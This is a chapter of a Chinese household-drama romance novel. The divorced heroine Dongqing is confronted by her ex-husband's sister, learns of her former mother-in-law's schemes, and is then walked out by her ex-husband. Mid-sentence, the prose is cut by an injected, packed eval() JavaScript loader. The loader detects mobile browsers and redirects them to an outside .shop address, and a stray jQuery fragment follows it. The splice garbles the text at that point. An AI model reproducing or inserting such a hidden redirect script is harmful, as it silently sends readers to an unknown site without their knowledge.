隔着不远的距离,沈凤仪牢牢盯着冬青,下巴抬得高高的,眼底烧着一团火。
冬青平静地看着沈凤仪,仿佛在看一个陌生人。看到她因为怒气而微微扭曲的脸,忽然生出了想笑的滋味。
沈凤仪走到冬青面前,目光像刀子一样剜过来:“谁让你来的?”她的声音尖锐而急促,“你已经不是侯府的人了,谁给你的脸踏进这个门?”
似乎是被冬青这副不冷不热的态度激怒了,她声音又拔高了几分:“都是因为你!要不是你,母亲怎么会失去管家权?还被禁足了整整半年,如今连侯府的门都出不去,哪里还有身为侯夫人的体面!因为你,我定下亲事的永阳侯府也隐隐对我有所不满。都是你这个扫把星害的!”
冬青微微一怔,何氏被夺了管家权?禁足?这一切,她全然都不知情。
当年她在侯府时,何氏明面上装得贤惠大度,背地里却纵容下人欺辱她。那些冷眼和嘲讽,桩桩件件,她都记得清清楚楚。后来为了逼她让位,她更是不惜绑架了阿轩。没想到后来,她竟然落得了这个下场。
沈凤仪口口声声说这一切都是因为她,上次在澄江畔见到她时,她虽然亦是冷嘲热讽,但更多还是一副高高在上的姿态。但今日的她,却有一种被击中命脉后的歇斯底里。
不过半年多的时间,到底发生了什么?
沈玉清站在一旁,见冬青神色不解,脸上露出惊讶的神色,随即变成了无奈和叹息。她看着冬青,低声道:“你……不知道这些事?”
冬青摇了摇头。
沈玉清长叹了一口气,语气里带着几分心疼,也有几分恨铁不成钢:“我这个傻弟弟啊!做了这么多事,竟然一个字都没跟你提过。”
她将冬青拉到一旁,压低了声音,将事情的来龙去脉细细道来。
原来,沈玉珩与冬青重逢后,逐渐察觉到当年之事有诸多蹊跷。他开始暗中调查,一层一层地剥开了被掩盖多年的真相。
当年,沈玉珩被刺杀一事,正是因为何氏泄露了他的行踪所致。后来,她为了阻止他尚公主,以防他身份更进一步,日后更难对付,故意找人散播流言惹怒了太后。
等冬青嫁进侯府,何氏表面上扮演好婆婆,暗地里却放任下人欺辱她,更在家书中不动声色地添油加醋,让沈玉珩认定冬青是个贪慕虚荣、不懂规矩的乡野女子。
再后来,何氏得知和惠公主和离归来后,太后仍有意将公主许配给沈玉珩。当时何氏替沈凤仪看好了人家,正是永阳侯府的嫡次子,而永阳侯夫人正是太后娘家的弟媳。因此,何氏为了讨好太后,逼迫冬青主动自请和离。
除了这些,沈玉珩还查出,何氏掌中馈的这些年,中饱私囊,私吞了侯府不少财产。
查清这一切后,沈玉珩将证据一并呈到了靖平侯面前。靖平侯震怒,但念在夫妻多年的情分,何氏又替他生下一双儿女,便夺了何氏的管家权,将雅馨院的大半仆人撤去,命她在佛堂里思过反省,并禁足至今。
得知了真相的冬青站在原地,久久没有说话。
原来他和她,从成婚到和离,背后一直藏着这样多的算计和阴谋。他们之间,不管是天意还是人为,最后都只能落得个和离的结局。
真是侯门深似海!当初她一个乡野姑娘,竟不知天高地厚地闯了进来,成了这盘棋局里最微不足道的一枚棋子。
好在的是,现在的她早已逃出了那复杂的火海。
可更让她心里发颤的,是沈玉珩。他查明了这一切,处置了何氏,可他从始至终没有在她面前提过一个字。他做了这么多事,却一丝风声都不曾透露给她。
这到底是为什么?他做这些事的原因,其中有她吗?
这时的冬青才突然发觉,如果沈玉珩此刻就站在她面前,她也根本不敢开口去问。
是的,是不敢。
她怕他说他是为了她才做这些,怕他说的每一个字让她的心更乱,更怕自己因为他的话产生一丁点的动摇。
现在的她,根本承受不起。
冬青不愿追究这些事情背后的原因和真相,可沈凤仪偏偏要将这一切掀开。
她步步紧逼,厉声质问:“你不过是个和离被弃的下堂妇,你算什么东西?乡下来的野丫头,你以为你配得上我二哥吗?你连给他提鞋都不配!他为了你,把母亲禁足,把侯府闹得鸡犬不宁。你这个不要脸的狐狸精,都已经和离了还缠着他不放!”
沈玉清霎时变了脸色,不安的看了冬青一眼,而后快步上前挡在冬青面前,大声喝道:“沈凤仪!你说的这是什么话?来人!把她给我拖下去!”
两个婆子闻声赶来,也不敢用强,只一个劲陪着笑劝沈凤仪离开。
冬青却觉得,这个昔日在她面前趾高气昂的侯府小姐,如今仿佛只剩了一副色厉内荏的空架子。看似咄咄逼人,可一旦戳破那层刁蛮恶毒的壳,里头便什么都没有了。
冬青轻轻按住了沈玉清的手臂,摇了摇头。
她往前走了两步,走到沈凤仪面前,神色平静,语气淡然:“既然觉得我不配,为什么还要大费周章地跑到我面前来,说这些装腔作势的话?”
沈凤仪愣了一下,像是没料到她会这么说。
冬青微微倾身,压低了声音,嘴角带着一丝若有若无的笑意:“其实,你是怕了吧?怕哪天这把火烧到你自己身上,怕你自己也自身难保。”
沈凤仪的脸瞬间涨得通红,犹如被踩到尾巴的猫般瞬间炸毛,再也不顾侯府贵女的身份,猛地挣脱开那两个还拽着她的婆子,发疯似的朝冬青扑过来,扬着手朝她的脸抓去。
“贱人!我撕烂你的嘴!”
千钧一发之际,一只手从后凭空而来,牢牢擒住了沈凤仪的手腕,用力一甩,沈凤仪顿时踉跄着后退了几步。
“够了!”沈玉珩脸色铁青,声音里带着一股不容置疑的威严,厉声喝止,“看看你现在的样子,还像是侯府的小姐吗?”
沈凤仪握着被甩开的手腕,不可置信地看着他,眼眶里蓄满了泪:“二哥……她不过是你休弃下堂的弃妇,我才是你的亲妹妹!你居然这么维护她?”
沈玉珩没有看她,只是侧过头,对那两个已经吓傻了的婆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628575|202660||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子冷冷道:“带四小姐回她的院子,从今日开始禁足,直到她出嫁那日。没有我的吩咐,谁也不准放她出来。”
婆子们再不敢怠慢,一左一右架住沈凤仪,将她往外拖去。沈凤仪一路尖叫着、挣扎着,嘴里还不死心地继续骂着:“简冬青!你不得好死!你这个扫把星……”
声音渐渐远了,花园里终于安静下来。
沈玉珩转过身,满面歉意地看着冬青,目光里带着小心翼翼的试探和懊恼:“你……还好吧?”
他呼出口气,再次低声解释道:“我听说长姐带你回了府,便立刻赶回来了,可没想到,还是……”
冬青见他胸膛起伏着,鬓角微微有些汗湿,显然是匆忙赶来来的。她心下微动,摇了摇头,语气却平淡:“我该回去了。”
这时,一旁的沈玉清赶忙上前打圆场:“今日是我考虑不周,让你受惊了,改日我亲自上门赔罪。”
说着,沈玉清朝沈玉珩使眼色:“我刚忘了,祖母还有一盅药没喝。怀瑾,你替我送送冬青。”
冬青表情一怔,随即很快回过神,朝沈玉清点了点头,自顾自转身朝外走去。
沈玉珩愣了一下,也快步跟了上去。
沈玉清站在原地,看着两人的背影一前一后消失在月洞门处,嘴角浮起一丝无奈的苦笑,摇了摇头,转身走了。
沈玉珩跟在冬青身后,试探着开口问道:“你……都知道了?”
冬青的脚步顿了一下,没有回头。
沈玉珩等了片刻,见她没有反驳,便知道长姐把那些事都告诉她了。他沉默了一瞬,声音低了下来:“我本不想让你知道这些。那些事,是侯府欠你的,是我欠你的,不是为了让……”
他忽然不知道该怎么说下去,不是为了让你感动?可这话说出来,自己都觉得虚伪。他做那些事的初心,的确是因为她。可他不想让她觉得,他是在用这些事来交换什么。
他不愿用这些事情来左右她内心真正的想法。他想让她再次爱上他,是发自真心的真正的爱上他,而不是被这些事情感动。
可当她知晓所有事情后,真的无动于衷时,他忽然又忍不住的失落。那失落像潮水一样无法抑制地漫了上来,无声无息地淹过了胸口,沉沉的,闷闷的。
他没再说一句话,两个人沉默着向前走。
过了垂花门,大门就在眼前,冬青转身看着沈玉珩平静道:“到这里就好,你回去吧。”
说完这话,冬青转身就要走。转身之际,沈玉珩忽然叫住她:“冬青……”他的声音很轻,目光又变得柔和,“今日之事,多谢你!祖母她……很高兴。谢谢你能不计前嫌来看她。”
冬青停住脚步,背影微微僵了一瞬,点了点头。她沉默了很久,终是回身,咬着唇犹豫几番才开口:“今日之事,我……”
话还没说完,却被沈玉珩笑着打断:“不要放在心上,这些事都与你无关。”
看着笑意温和的沈玉珩,冬青一时失神,说不出话。
最终,她轻轻点头,叹了口气,再没了犹豫,朝那扇大门迈步离去。